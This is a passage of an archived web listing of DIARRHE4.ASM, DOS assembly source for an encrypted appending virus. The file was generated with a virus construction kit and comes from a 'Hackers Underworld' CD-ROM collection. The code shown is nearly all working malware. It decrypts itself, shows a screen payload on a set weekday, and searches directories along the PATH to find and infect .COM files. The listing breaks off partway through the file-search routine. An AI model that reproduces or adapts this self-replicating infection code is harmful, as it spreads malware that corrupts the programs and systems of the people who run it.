home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / DIARRHE4.ASM < prev    next >
Assembly Source File  |  1992-08-07  |  18KB  |  425 lines

  1. ; DIARRHE4.ASM -- DIARRHEA 4
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by URNST KOUCH
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42.         call    get_weekday
  43.         cmp     ax,0005h                ; Did the function return 5?
  44.         je      strt00                  ; If equal, do effect
  45.         jmp     end00                   ; Otherwise skip over it
  46. strt00:         lea     si,[di + data00]        ; SI points to data
  47.         mov     cx,0107h                ; Second argument is 263
  48.         push    di                      ; Save DI
  49.         push    es                      ; Save ES
  50.  
  51.         jcxz    uncrunch_done           ; Exit if there are no characters
  52.  
  53.         mov     ah,0Fh                  ; BIOS get screen mode function
  54.         int     10h
  55.         xor     ah,ah                   ; BIOS set screen mode function
  56.         int     10h                     ; Clear the screen
  57.  
  58.         xor     di,di
  59.         mov     ax,0B800h               ; AX is set to video segment
  60.         mov     es,ax                   ; ES holds video segment
  61.  
  62.         mov     dx,di                   ; Save X coordinate for later
  63.         xor     ax,ax                   ; Set current attributes
  64.         cld
  65.  
  66. loopa:          lodsb                           ; Get next character
  67.         cmp     al,32                   ; Is it a control character?
  68.         jb      foreground              ; Handle it if it is
  69.         stosw                           ; Save letter on screen
  70. next:           loop    loopa                   ; Repeat until we're done
  71.         jmp     short uncrunch_done     ; Leave this routine
  72.  
  73. foreground:     cmp     al,16                   ; Are we changing the foreground?
  74.         jnb     background              ; If not, check the background
  75.         and     ah,0F0h                 ; Strip off old foreground
  76.         or      ah,al                   ; Put the new one on
  77.         jmp     short next              ; Resume looping
  78.  
  79. background:     cmp     al,24                   ; Are we changing the background?
  80.         je      next_line               ; If AL = 24, go to next line
  81.         jnb     flash_bit_toggle        ; If AL > 24 set the flash bit
  82.         sub     al,16                   ; Change AL to a color number
  83.         add     al,al                   ; Crude way of shifting left
  84.         add     al,al                   ; four bits without changing
  85.         add     al,al                   ; CL or wasting space.  Ok,
  86.         add     al,al                   ; I guess.
  87.         and     al,08Fh                 ; Strip off old background
  88.         or      ah,al                   ; Put the new one on
  89.         jmp     short next              ; Resume looping
  90.  
  91. next_line:      add     dx,160                  ; Skip a whole line (80 chars.
  92.         mov     di,dx                   ; AND 80 attribs.)
  93.         jmp     short next              ; Resume looping
  94.  
  95. flash_bit_toggle: cmp   al,27                   ; Is it a blink toggle?
  96.         jb      multi_output            ; If AL < 27, it's a blinker
  97.         jne     next                    ; Otherwise resume looping
  98.         xor     ah,128                  ; Toggle the flash bit
  99.         jmp     short next              ; Resume looping
  100.  
  101. multi_output:   cmp     al,25                   ; Set Zero flag if multi-space
  102.         mov     bx,cx                   ; Save main counter
  103.         lodsb                           ; Get number of repititions
  104.         mov     cl,al                   ; Put it in CL
  105.         mov     al,' '                  ; AL holds a space
  106.         jz      start_output            ; If displaying spaces, jump
  107.         lodsb                           ; Otherwise get character to use
  108.         dec     bx                      ; Adjust main counter
  109.  
  110. start_output:   xor     ch,ch                   ; Clear CH
  111.         inc     cx                      ; Add one to count
  112.     rep     stosw                           ; Display the character
  113.         mov     cx,bx                   ; Restore main counter
  114.         dec     cx                      ; Adjust main counter
  115.         loopnz  loopa                   ; Resume looping if not done
  116.  
  117. uncrunch_done:  pop     es                      ; Restore ES
  118.         pop     di                      ; Restore DI
  119.  
  120. end00:          call    search_files            ; Find and infect a file
  121.  
  122.  
  123. com_end:        pop     dx                      ; DX holds original DTA address
  124.         mov     ah,01Ah                 ; DOS set DTA function
  125.         int     021h
  126.  
  127.         mov     sp,bp                   ; Deallocate local buffer
  128.  
  129.         xor     ax,ax                   ;
  130.         mov     bx,ax                   ;
  131.         mov     cx,ax                   ;
  132.         mov     dx,ax                   ; Empty out the registers
  133.         mov     si,ax                   ;
  134.         mov     di,ax                   ;
  135.         mov     bp,ax                   ;
  136.  
  137.         ret                             ; Return to original program
  138. main            endp
  139.  
  140. search_files    proc    near
  141.         mov     bx,di                   ; BX points to the virus
  142.         push    bp                      ; Save BP
  143.         mov     bp,sp                   ; BP points to local buffer
  144.         sub     sp,135                  ; Allocate 135 bytes on stack
  145.  
  146.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  147.  
  148.         mov     ah,047h                 ; DOS get current dir function
  149.         xor     dl,dl                   ; DL holds drive # (current)
  150.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  151.         int     021h
  152.  
  153.         call    traverse_path           ; Start the traversal
  154.  
  155. traversal_loop: cmp     word ptr [bx + path_ad],0       ; Was the search unsuccessful?
  156.         je      done_searching          ; If so then we're done
  157.         call    found_subdir            ; Otherwise copy the subdirectory
  158.  
  159.         mov     ax,cs                   ; AX holds the code segment
  160.         mov     ds,ax                   ; Set the data and extra
  161.         mov     es,ax                   ; segments to the code segment
  162.  
  163.         xor     al,al                   ; Zero AL
  164.         stosb                           ; NULL-terminate the directory
  165.  
  166.         mov     ah,03Bh                 ; DOS change directory function
  167.         lea     dx,[bp - 70]            ; DX points to the directory
  168.         int     021h
  169.  
  170.         lea     dx,[bx + com_mask]      ; DX points to "*.COM"
  171.         push    di
  172.         mov     di,bx
  173.         call    find_files              ; Try to infect a .COM file
  174.         mov     bx,di
  175.         pop     di
  176.         jnc     done_searching          ; If successful the exit
  177.         jmp     short traversal_loop    ; Keep checking the PATH
  178.  
  179. done_searching: mov     ah,03Bh                 ; DOS change directory function
  180.         lea     dx,[bp - 135]           ; DX points to old directory
  181.         int     021h
  182.  
  183.         cmp     word ptr [bx + path_ad],0       ; Did we run out of directories?
  184.         jne     at_least_tried          ; If not then exit
  185.         stc                             ; Set the carry flag for failure
  186. at_least_tried: mov     sp,bp                   ; Restore old stack pointer
  187.         pop     bp                      ; Restore BP
  188.         ret                             ; R